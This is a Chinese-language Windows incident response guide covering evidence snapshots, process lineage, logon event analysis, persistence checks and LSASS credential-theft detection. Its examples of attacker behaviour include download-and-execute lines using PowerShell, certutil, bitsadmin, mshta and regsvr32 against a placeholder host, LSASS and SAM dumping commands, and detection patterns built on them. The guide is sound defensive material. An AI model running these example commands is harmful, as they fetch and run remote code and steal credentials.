Windows 主机失陷很少只表现为“中毒”。
它可能是一条可疑 PowerShell 命令、一段陌生 RDP 登录、一个新建管理员账号、一次 LSASS 读取、一个隐藏计划任务,或者某个看似正常的系统进程正在连接陌生公网地址。
很多人在排查 Windows 安全事件时,会先问:
这个文件是不是木马?
但更关键的问题其实是:
这台主机现在还能不能被信任?
要回答这个问题,不能只看某个进程、某个账号或某条告警,而要重新拼出一条证据链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 谁登录过 ↓ 谁执行了命令 ↓ 谁连接了外部地址 ↓ 谁获得了权限 ↓ 谁建立了持久化 ↓ 是否读取过凭据 ↓ 是否已经横向到其他主机 ↓ 系统还能不能继续使用
|
一、先判断事件处于哪种状态
排查之前,先不要急着删文件、结束进程或重启机器。Windows 应急响应初期,最重要的是判断当前风险是否仍在扩大。
可以先把现场分成三种状态。
1. 可疑但暂未扩散
例如:
- 某个进程命令行异常;
- 某个目录下出现陌生文件;
- 安全产品提示单点告警;
- 暂未发现外联、横向或凭据窃取。
这种情况适合先做证据保全,再逐步确认。
2. 攻击者可能仍在线
例如:
1 2
| quser Get-NetTCPConnection -State Established
|
发现陌生 RDP 会话、异常远程连接,或者 PowerShell、cmd、wscript、mshta 等进程仍在和公网地址通信。
这种情况下,不建议立即踢掉会话。更稳妥的方式是先记录当前会话、网络连接、进程树和关键日志,再执行隔离或阻断动作。
3. 已经涉及高风险资产或凭据
例如:
- 主机是域控、证书服务器、跳板机、堡垒机、运维终端或关键业务服务器;
- 发现 LSASS 被读取;
- 发现 Mimikatz、ProcDump、comsvcs.dll MiniDump 等凭据导出痕迹;
- 发现 RDP / SMB / WMI 横向登录;
- 多台主机同时出现相似告警;
- 文件正在被加密。
这类事件不能按“单机清理”处理,应尽快升级到安全、运维、身份管理和业务负责人协同响应。
二、先保存现场快照,而不是边查边破坏证据
Windows 排查很依赖事件日志、进程命令行、注册表、计划任务和文件时间线。越早保存,越有利于后续还原攻击过程。
下面是一份轻量快照脚本,可用于收集基础证据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| $stamp = Get-Date -Format "yyyyMMdd-HHmmss" $out = "C:\win_case_$env:COMPUTERNAME`_$stamp"
New-Item -ItemType Directory -Path $out -Force | Out-Null
Get-CimInstance Win32_Process | Select-Object ProcessId,ParentProcessId,Name,ExecutablePath,CommandLine | Export-Csv "$out\processes.csv" -NoTypeInformation -Encoding UTF8
Get-Process | Where-Object {$_.Path} | ForEach-Object { $sig = Get-AuthenticodeSignature $_.Path -ErrorAction SilentlyContinue [PSCustomObject]@{ PID = $_.Id Name = $_.Name Path = $_.Path SigStatus = $sig.Status Signer = $sig.SignerCertificate.Subject } } | Export-Csv "$out\process_signatures.csv" -NoTypeInformation -Encoding UTF8
Get-NetTCPConnection -State Established | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess, @{n='ProcessName';e={(Get-Process -Id $_.OwningProcess -EA 0).Name}}, @{n='ProcessPath';e={(Get-Process -Id $_.OwningProcess -EA 0).Path}} | Export-Csv "$out\network_established.csv" -NoTypeInformation -Encoding UTF8
Get-CimInstance Win32_Service | Select-Object Name,DisplayName,State,StartMode,PathName,StartName | Export-Csv "$out\services.csv" -NoTypeInformation -Encoding UTF8
Get-ScheduledTask | ForEach-Object { $action = ($_.Actions | ForEach-Object {$_.Execute + " " + $_.Arguments}) -join " | " [PSCustomObject]@{ TaskName = $_.TaskName TaskPath = $_.TaskPath State = $_.State Actions = $action } } | Export-Csv "$out\scheduled_tasks.csv" -NoTypeInformation -Encoding UTF8
Get-LocalUser | Export-Csv "$out\local_users.csv" -NoTypeInformation -Encoding UTF8 net localgroup administrators > "$out\local_administrators.txt"
quser > "$out\sessions.txt" 2>$null
$start = (Get-Date).AddDays(-7) $watchPaths = @( "C:\Users\Public", "C:\ProgramData", "C:\Windows\Temp", "C:\Temp", "C:\PerfLogs" )
foreach ($p in $watchPaths) { if (Test-Path $p) { Get-ChildItem $p -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -gt $start -and $_.Extension -match '\.(exe|dll|ps1|bat|cmd|vbs|hta|scr|cpl)$' } | Select-Object FullName,LastWriteTime,Length | Export-Csv "$out\recent_exec_files.csv" -NoTypeInformation -Encoding UTF8 -Append } }
wevtutil epl Security "$out\Security.evtx" wevtutil epl System "$out\System.evtx" wevtutil epl Application "$out\Application.evtx" wevtutil epl "Microsoft-Windows-PowerShell/Operational" "$out\PowerShell.evtx" 2>$null wevtutil epl "Microsoft-Windows-Sysmon/Operational" "$out\Sysmon.evtx" 2>$null
Compress-Archive -Path $out -DestinationPath "$out.zip" -Force Get-FileHash "$out.zip" -Algorithm SHA256
|
这份快照的作用不是自动判定结论,而是给后续分析保留一个相对完整的起点。
三、第一条线:谁在执行命令
Windows 入侵排查的第一条线,是进程。
重点不是“进程叫什么名字”,而是:
- 进程路径是否合理;
- 签名是否可信;
- 命令行是否异常;
- 父进程是谁;
- 是否连接网络;
- 是否与登录事件时间线吻合。
1. 查看进程路径、签名和命令行
1 2 3 4 5 6 7 8 9 10
| $pidToCheck = 1234
$p = Get-Process -Id $pidToCheck -ErrorAction SilentlyContinue
$p | Select-Object Id,Name,Path
Get-AuthenticodeSignature $p.Path | Select-Object Status,SignerCertificate
(Get-CimInstance Win32_Process -Filter "ProcessId=$pidToCheck").CommandLine
|
正常系统进程通常位于固定位置,例如:
1 2 3 4
| C:\Windows\System32\svchost.exe C:\Windows\System32\lsass.exe C:\Windows\System32\services.exe C:\Windows\explorer.exe
|
如果看到:
1 2 3
| C:\Users\Public\svchost.exe C:\ProgramData\lsasss.exe C:\Windows\Temp\scvhost.exe
|
即使命名很像系统进程,也应高度怀疑。
常见仿冒方式包括:
1 2 3 4
| svch0st.exe # 用数字 0 代替字母 o scvhost.exe # 字母顺序调换 lsasss.exe # 多一个 s expl0rer.exe # 用数字 0 替换 o
|
签名也很重要。尤其需要关注:
| 签名状态 |
排查含义 |
| Valid |
签名有效,但仍需结合路径和行为 |
| NotSigned |
未签名,业务自研程序可能正常,但系统目录下异常 |
| HashMismatch |
文件签名与内容不匹配,高风险 |
| NotTrusted |
签名链不可信,需要进一步确认 |
如果系统目录下的核心程序出现签名异常,应优先考虑二进制被替换、进程篡改或更深层失陷。
2. PowerShell 命令行是重点
Windows 入侵中,PowerShell 经常被用于下载、解码、内存执行和横向移动。
可以在 processes.csv 中搜索:
1 2 3 4 5 6 7 8 9
| -enc EncodedCommand -nop -windowstyle hidden IEX Invoke-Expression DownloadString DownloadFile FromBase64String
|
也可以直接查当前进程:
1 2 3 4 5
| Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match 'powershell|pwsh|EncodedCommand|-enc|IEX|DownloadString|DownloadFile' } | Select-Object ProcessId,ParentProcessId,Name,CommandLine
|
可疑命令通常类似:
1
| powershell.exe -nop -w hidden -enc <base64>
|
或者:
1
| powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://example.invalid/a.ps1')"
|
如果需要解码 -enc 内容:
1 2 3 4
| $encoded = "<base64_string_here>" [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String($encoded) )
|
解码后如果出现远程下载、内存加载、反射加载、凭据工具或横向模块,就不能只按普通恶意文件处置。
3. 关注被滥用的系统工具
攻击者不一定投放明显恶意文件,也可能滥用系统自带工具完成下载和执行。
可以搜索:
1 2 3 4 5
| Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match 'certutil|bitsadmin|mshta|regsvr32|rundll32|wmic|schtasks' } | Select-Object ProcessId,ParentProcessId,Name,CommandLine
|
常见高风险模式包括:
1 2 3 4 5 6 7 8 9
| certutil.exe -urlcache -split -f http://example.invalid/a.exe C:\Users\Public\a.exe
bitsadmin /transfer job http://example.invalid/a.exe C:\Users\Public\a.exe
mshta.exe http://example.invalid/a.hta
regsvr32.exe /s /n /u /i:http://example.invalid/a.sct scrobj.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <pid> C:\Users\Public\lsass.dmp full
|
这些工具本身是合法的,但出现在下载、远程脚本执行、LSASS 转储等场景中,就具有很高调查价值。
四、第二条线:是谁启动了它
进程的父子关系经常能直接指向攻击入口。
下面是一个简单的进程树追踪函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function Show-ProcessLineage { param([int]$Pid)
$current = $Pid
while ($current -and $current -ne 0) { $p = Get-CimInstance Win32_Process -Filter "ProcessId=$current" -ErrorAction SilentlyContinue if (!$p) { break }
[PSCustomObject]@{ PID = $p.ProcessId Parent = $p.ParentProcessId Name = $p.Name Path = $p.ExecutablePath Command = $p.CommandLine }
$current = $p.ParentProcessId } }
Show-ProcessLineage -Pid 1234
|
一些父子关系非常值得关注:
| 父进程 |
子进程 |
可能含义 |
| WINWORD / EXCEL / POWERPNT |
powershell / cmd / mshta / wscript |
钓鱼文档或宏执行 |
| OUTLOOK |
powershell / cmd / rundll32 |
邮件附件或链接触发 |
| w3wp.exe |
cmd / powershell |
IIS Webshell 或 RCE |
| sqlservr.exe |
cmd / powershell |
数据库执行系统命令 |
| wmiprvse.exe |
cmd / powershell |
WMI 远程执行 |
| services.exe |
异常路径程序 |
服务持久化 |
| taskeng / svchost |
异常脚本或程序 |
计划任务触发 |
例如:
1 2 3 4 5
| powershell.exe ↑ WINWORD.EXE ↑ explorer.exe
|
这类链路通常比单独看到 powershell.exe 更有价值,因为它说明 PowerShell 不是管理员手动打开的,而可能是文档触发的。
再比如:
这通常意味着 Web 服务进程执行了系统命令,应进一步检查 Web 日志、上传目录和 IIS 配置。
五、第三条线:谁登录过这台机器
Windows 事件日志能回答很多关键问题。
尤其是 Security 日志中的以下事件:
| 事件 ID |
含义 |
排查重点 |
| 4624 |
登录成功 |
登录类型、账号、来源 IP |
| 4625 |
登录失败 |
暴破、密码喷洒 |
| 4648 |
显式凭据登录 |
横向移动、凭据传递 |
| 4672 |
特权登录 |
管理员权限使用 |
| 4688 |
进程创建 |
命令行审计,需启用 |
| 4697 |
服务安装 |
服务持久化 |
| 4698 |
计划任务创建 |
定时持久化 |
| 4720 |
创建用户 |
后门账号 |
| 4732 |
加入本地组 |
加入 Administrators |
1. 统计 RDP 登录来源
LogonType 为 10 通常表示远程交互登录,也就是常见的 RDP 场景。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| $start = (Get-Date).AddDays(-7)
Get-WinEvent -FilterHashtable @{ LogName='Security' Id=4624 StartTime=$start } -MaxEvents 10000 -ErrorAction SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = @{} foreach ($d in $xml.Event.EventData.Data) { $data[$d.Name] = $d.'#text' }
[PSCustomObject]@{ Time = $_.TimeCreated Account = $data['TargetUserName'] Domain = $data['TargetDomainName'] LogonType = $data['LogonType'] SourceIP = $data['IpAddress'] Workstation = $data['WorkstationName'] } } | Where-Object {$_.LogonType -eq '10'} | Group-Object SourceIP | Sort-Object Count -Descending
|
如果正常环境只允许堡垒机或 VPN 访问 RDP,那么出现陌生公网 IP 或非授权内网 IP,就值得重点调查。
2. 统计失败登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| Get-WinEvent -FilterHashtable @{ LogName='Security' Id=4625 StartTime=$start } -MaxEvents 10000 -ErrorAction SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = @{} foreach ($d in $xml.Event.EventData.Data) { $data[$d.Name] = $d.'#text' }
[PSCustomObject]@{ Time = $_.TimeCreated Account = $data['TargetUserName'] SourceIP = $data['IpAddress'] Status = $data['Status'] } } | Group-Object SourceIP | Sort-Object Count -Descending | Select-Object -First 10
|
一个源 IP 在短时间内尝试大量账号,可能是暴破或密码喷洒。
但也要避免误判:某些业务系统配置了错误密码,也可能持续产生失败登录。需要结合账号、来源、时间窗口和是否随后出现成功登录判断。
3. 查显式凭据登录和横向迹象
事件 4648 经常用于发现“使用其他凭据访问远端系统”的行为。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| Get-WinEvent -FilterHashtable @{ LogName='Security' Id=4648 StartTime=$start } -MaxEvents 5000 -ErrorAction SilentlyContinue | ForEach-Object { $xml = [xml]$_.ToXml() $data = @{} foreach ($d in $xml.Event.EventData.Data) { $data[$d.Name] = $d.'#text' }
[PSCustomObject]@{ Time = $_.TimeCreated SubjectUser = $data['SubjectUserName'] TargetUser = $data['TargetUserName'] TargetServer = $data['TargetServerName'] ProcessName = $data['ProcessName'] } }
|
如果一台普通终端突然使用高权限账号访问域控、数据库服务器或多台内网主机,就应视为横向移动线索。
六、第四条线:谁在对外通信
当前网络连接可以帮助判断攻击是否仍在进行。
1 2 3 4 5
| Get-NetTCPConnection -State Established | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess, @{n='ProcessName';e={(Get-Process -Id $_.OwningProcess -EA 0).Name}}, @{n='ProcessPath';e={(Get-Process -Id $_.OwningProcess -EA 0).Path}} | Sort-Object RemoteAddress
|
排查时重点不是“远端端口是不是 443”,而是:
- 进程是否应该访问外网;
- 远端地址是否为已知业务依赖;
- 进程路径是否可信;
- 是否是长连接;
- 是否存在固定周期心跳;
- 是否由 PowerShell、cmd、wscript、mshta、rundll32 等进程发起。
例如:
1 2 3
| powershell.exe → 203.0.113.50:443 C:\Users\Public\svchost.exe → 198.51.100.20:4444 mshta.exe → example.invalid:80
|
这些都比普通浏览器访问外网更值得关注。
查看监听端口:
1 2 3 4 5
| Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess, @{n='ProcessName';e={(Get-Process -Id $_.OwningProcess -EA 0).Name}}, @{n='ProcessPath';e={(Get-Process -Id $_.OwningProcess -EA 0).Path}} | Sort-Object LocalPort
|
异常监听可能意味着后门服务、代理、隧道或远控组件。
七、第五条线:它如何留下来
持久化不是一张机械检查表,本质上是在回答:
如果当前恶意进程被终止,攻击者靠什么重新回来?
Windows 常见持久化大致可以分为五类。
1. 开机或登录自启动
检查 Run / RunOnce:
1 2 3 4 5 6 7 8 9 10 11 12 13
| $runKeys = @( "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run", "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce", "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run", "HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" )
foreach ($key in $runKeys) { if (Test-Path $key) { "===== $key =====" Get-ItemProperty $key } }
|
重点关注:
1 2 3 4 5 6 7 8
| C:\Users\Public\ C:\ProgramData\ C:\Windows\Temp\ %APPDATA% powershell -enc wscript mshta rundll32
|
检查启动文件夹:
1 2
| Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" -ErrorAction SilentlyContinue Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -ErrorAction SilentlyContinue
|
如果这里出现 .vbs、.bat、.ps1、.exe、.lnk,需要进一步查看内容和创建时间。
2. 计划任务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Get-ScheduledTask | ForEach-Object { $actions = ($_.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join " | "
[PSCustomObject]@{ Name = $_.TaskName Path = $_.TaskPath State = $_.State Actions = $actions } } | Where-Object { $_.Actions -match 'powershell|cmd|mshta|wscript|cscript|bitsadmin|certutil|regsvr32|Users\\Public|ProgramData|Temp' }
|
有些任务会伪装在 Microsoft 子目录中,因此还可以直接检查任务 XML:
1 2 3 4 5 6 7 8 9 10
| Get-ChildItem C:\Windows\System32\Tasks -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue if ($content -match 'powershell|cmd|mshta|wscript|bitsadmin|certutil|regsvr32|Users\\Public|ProgramData|Temp') { [PSCustomObject]@{ File = $_.FullName Match = ($content -split "`n" | Where-Object {$_ -match 'Execute|Arguments'} | Select-Object -First 5) -join ' ' } } }
|
3. 服务持久化
1 2 3 4 5
| Get-CimInstance Win32_Service | Where-Object { $_.PathName -match 'Users\\Public|ProgramData|Temp|AppData|PerfLogs' } | Select-Object Name,DisplayName,State,StartMode,StartName,PathName
|
服务以 LocalSystem 运行且路径异常时,要特别谨慎。
同时检查最近安装服务事件:
1 2 3 4 5 6
| Get-WinEvent -FilterHashtable @{ LogName='System' Id=7045 StartTime=$start } -ErrorAction SilentlyContinue | Select-Object TimeCreated,Message
|
事件 7045 表示系统中安装了新服务,是调查持久化和横向工具的重要线索。
4. 注册表和登录链路劫持
Winlogon 是高价值位置。
1 2
| Get-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" | Select-Object Userinit,Shell,Taskman
|
通常应接近:
1 2
| Userinit : C:\Windows\system32\userinit.exe, Shell : explorer.exe
|
如果出现:
1 2
| Userinit : C:\Windows\system32\userinit.exe,C:\Users\Public\update.exe Shell : explorer.exe,C:\ProgramData\a.exe
|
说明登录流程中被追加了额外程序。
检查 IFEO Debugger 劫持:
1 2 3 4
| Get-ChildItem "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | Get-ItemProperty | Where-Object {$_.Debugger} | Select-Object PSChildName,Debugger
|
如果看到:
1 2 3
| sethc.exe → cmd.exe utilman.exe → cmd.exe notepad.exe → C:\Users\Public\a.exe
|
需要按后门处理。
WMI 事件订阅:
1 2 3 4 5 6 7 8 9 10 11
| Get-CimInstance -Namespace root\subscription -ClassName __EventFilter | Select-Object Name,Query
Get-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer | Select-Object Name,CommandLineTemplate
Get-CimInstance -Namespace root\subscription -ClassName ActiveScriptEventConsumer | Select-Object Name,ScriptText
Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding | Select-Object Filter,Consumer
|
如果 Consumer 中出现 PowerShell encoded command、下载执行或异常路径,应高度怀疑。
BITS 任务:
1
| bitsadmin /list /allusers /verbose
|
或者:
1
| Get-BitsTransfer -AllUsers -ErrorAction SilentlyContinue
|
如果发现陌生后台下载任务,将远程文件落到 C:\Users\Public、C:\ProgramData 或临时目录,也应纳入持久化调查。
COM 劫持可以先从用户级 CLSID 开始粗查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Get-ChildItem "HKCU:\Software\Classes\CLSID" -ErrorAction SilentlyContinue | ForEach-Object { $clsid = $_.PSChildName $path = "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32"
if (Test-Path $path) { $value = (Get-ItemProperty $path -ErrorAction SilentlyContinue).'(default)' if ($value -match 'AppData|Temp|Users\\Public|ProgramData') { [PSCustomObject]@{ CLSID = $clsid DLL = $value } } } }
|
八、凭据是否已经失守,是 Windows 事件的分水岭
Windows 主机排查中,最需要升级处理的是凭据窃取。
尤其要关注 LSASS。
如果部署了 Sysmon,可以检查 ID 10:
1 2 3 4 5 6 7
| Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Sysmon/Operational' Id=10 StartTime=$start } -ErrorAction SilentlyContinue | Where-Object {$_.Message -match 'TargetImage:.*lsass.exe'} | Select-Object -First 20 TimeCreated,Message
|
高风险信号包括:
1 2 3
| SourceImage: C:\Users\...\mimikatz.exe TargetImage: C:\Windows\System32\lsass.exe GrantedAccess: 0x1410
|
也可能是更隐蔽的方式:
1 2 3 4
| procdump.exe -ma lsass.exe C:\Users\Public\lsass.dmp rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <pid> C:\Users\Public\out.dmp full reg save HKLM\SAM C:\Users\Public\sam.hiv reg save HKLM\SECURITY C:\Users\Public\security.hiv
|
可以进一步查大体积 dump 文件:
1 2 3 4 5 6 7
| Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) -and ($_.Name -match 'lsass|dump|debug|\.dmp$') -and $_.Length -gt 50MB } | Select-Object FullName,LastWriteTime,Length
|
如果确认 LSASS、SAM、SECURITY 或域凭据被读取,后续不应只停留在“清掉恶意文件”。
更合理的判断是:
- 该主机上出现过的本地账号需要重置;
- 曾登录过该主机的域账号需要评估和轮换;
- 特权账号应按高风险处理;
- 需要排查这些凭据是否已被用于访问其他主机;
- 主机本身通常不宜简单清理后继续信任。
九、利用 Sysmon 建立时间线
如果主机部署了 Sysmon,调查效率会明显提升。
几个高价值事件:
| Sysmon ID |
含义 |
| 1 |
进程创建 |
| 3 |
网络连接 |
| 7 |
镜像加载 |
| 8 |
CreateRemoteThread |
| 10 |
进程访问,常用于 LSASS 读取 |
| 11 |
文件创建 |
| 13 |
注册表值修改 |
| 22 |
DNS 查询 |
| 25 |
进程篡改 |
查可疑进程创建:
1 2 3 4 5 6 7 8 9
| Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Sysmon/Operational' Id=1 StartTime=$start } -MaxEvents 5000 -ErrorAction SilentlyContinue | Where-Object { $_.Message -match 'powershell.*-enc|DownloadString|certutil.*urlcache|bitsadmin.*transfer|mshta http|regsvr32.*scrobj|rundll32.*comsvcs' } | Select-Object -First 20 TimeCreated,Message
|
查可疑网络连接:
1 2 3 4 5 6 7 8 9
| Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Sysmon/Operational' Id=3 StartTime=$start } -MaxEvents 5000 -ErrorAction SilentlyContinue | Where-Object { $_.Message -match 'powershell.exe|mshta.exe|wscript.exe|rundll32.exe|Users\\Public|ProgramData|Temp' } | Select-Object -First 20 TimeCreated,Message
|
Sysmon 的价值不是单条告警,而是能把:
1 2 3 4 5 6
| 父进程 命令行 文件落地 网络连接 注册表修改 凭据读取
|
串成一条时间线。
十、一个典型场景:从一条 PowerShell 命令还原攻击链
假设你在进程快照里看到:
1
| powershell.exe -nop -w hidden -enc <base64>
|
先解码:
1 2 3 4
| $encoded = "<base64>" [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String($encoded) )
|
解码结果类似:
1 2 3 4 5
| (New-Object Net.WebClient).DownloadFile( 'http://example.invalid/update.exe', 'C:\Users\Public\update.exe' ) Start-Process 'C:\Users\Public\update.exe'
|
接下来不要只删除 update.exe。
应该继续追问:
1. 谁启动了 PowerShell
1
| Show-ProcessLineage -Pid <powershell_pid>
|
如果父进程是 WINWORD.EXE,应调查钓鱼文档。
如果父进程是 w3wp.exe,应调查 IIS 和 Web 应用。
如果父进程是 wmiprvse.exe,应调查 WMI 横向执行来源。
2. 下载的文件是否运行
1 2 3 4
| Get-Process | Where-Object {$_.Path -match 'C:\\Users\\Public\\update.exe'}
Get-FileHash C:\Users\Public\update.exe -Algorithm SHA256 Get-AuthenticodeSignature C:\Users\Public\update.exe
|
3. 是否对外通信
1 2 3 4
| Get-NetTCPConnection -State Established | Where-Object { $_.OwningProcess -eq <update_pid> }
|
4. 是否建立持久化
1 2 3 4 5 6 7 8 9 10
| Get-ScheduledTask | ForEach-Object { $a = ($_.Actions | ForEach-Object {$_.Execute + " " + $_.Arguments}) -join " | " [PSCustomObject]@{Name=$_.TaskName; Path=$_.TaskPath; Actions=$a} } | Where-Object {$_.Actions -match 'update.exe|Users\\Public|powershell'}
Get-CimInstance Win32_Service | Where-Object {$_.PathName -match 'update.exe|Users\\Public|ProgramData'}
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue
|
5. 是否读取过凭据
1 2 3 4 5 6
| Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Sysmon/Operational' Id=10 StartTime=$start } -ErrorAction SilentlyContinue | Where-Object {$_.Message -match 'lsass.exe'}
|
到这里,一条简单的 PowerShell 命令就不再只是“可疑命令”,而成为完整攻击链的一部分。
十一、什么时候清理,什么时候重建
Windows 主机处置不能只看“恶意文件是否删掉”。
更重要的是判断系统可信度。
| 发现情况 |
建议处理 |
| 单一恶意文件,未提权,未持久化,未外联 |
清理、修复入口、强化监控 |
| 存在计划任务、服务、Run 键等持久化 |
清理后逐项复核,谨慎恢复 |
| 发现 RDP 暴破成功或管理员账号滥用 |
改密、限制入口、排查横向 |
| 发现 LSASS / SAM / SECURITY 被读取 |
视为凭据泄露,升级处理 |
| 发现 WMI / COM / IFEO / LSA 持久化 |
高风险,需深度取证 |
| 发现驱动、Rootkit 或系统组件被替换 |
不建议继续信任原系统 |
| 主机是域控、跳板机、证书服务器等关键系统 |
按关键基础设施事件处理 |
重装可以恢复单机系统状态,但不能自动解决:
- 初始入口;
- 凭据泄露;
- 域内横向;
- 其他同类主机;
- 业务系统中的漏洞;
- 攻击者已经取得的 Token、密钥或会话。
因此,恢复动作必须和入口修复、凭据轮换、横向排查、监控规则一起完成。
十二、排查结束时应该产出什么
一次 Windows 主机失陷调查,不应该只产出:
已删除恶意程序。
更完整的结论至少包括:
1. 是否确认失陷
例如:
1
| 已确认失陷 / 高度疑似 / 暂无证据 / 已排除
|
2. 最早异常时间
例如:
1 2 3 4
| 最早可疑登录时间 最早可疑进程创建时间 最早恶意文件落地时间 最早对外连接时间
|
3. 攻击入口
可能包括:
1 2 3 4 5 6 7
| RDP 暴破 钓鱼附件 Web 漏洞 SMB / WMI 横向 凭据泄露 未授权服务 未知入口
|
4. 攻击者获得的权限
例如:
1 2 3 4 5
| 普通用户 本地管理员 域账号 域管理员 服务账号
|
5. 驻留方式
例如:
1 2 3 4 5 6 7 8
| Run 键 计划任务 服务 WMI 事件订阅 IFEO Debugger COM 劫持 启动文件夹 BITS Job
|
6. 凭据风险
需要确认:
1 2 3 4 5
| 是否访问 LSASS 是否导出 SAM / SECURITY 是否出现 Mimikatz / ProcDump / comsvcs MiniDump 哪些账号曾登录过该主机 这些账号是否已被用于访问其他系统
|
7. 是否存在横向移动
重点看:
1 2 3 4 5 6
| 4624 LogonType=3 4624 LogonType=10 4648 显式凭据 4672 特权登录 7045 服务安装 Sysmon 远程执行链路
|
8. 当前系统是否仍可信
最终要给出明确建议:
1 2 3 4 5
| 可清理后恢复 需重建系统 需凭据轮换 需扩大到域内排查 需进入重大事件响应
|
结语
Windows 入侵排查最容易犯的错误,是把注意力集中在某个恶意文件上。
但在真实事件中,文件只是结果,不是全部。
一次有效的 Windows 应急响应,应当围绕这几个问题展开:
1 2 3 4 5 6 7 8
| 谁登录了 谁执行了 谁通信了 谁提权了 谁读取了凭据 谁留下了持久化 谁访问了其他主机 这台机器还能不能被继续信任
|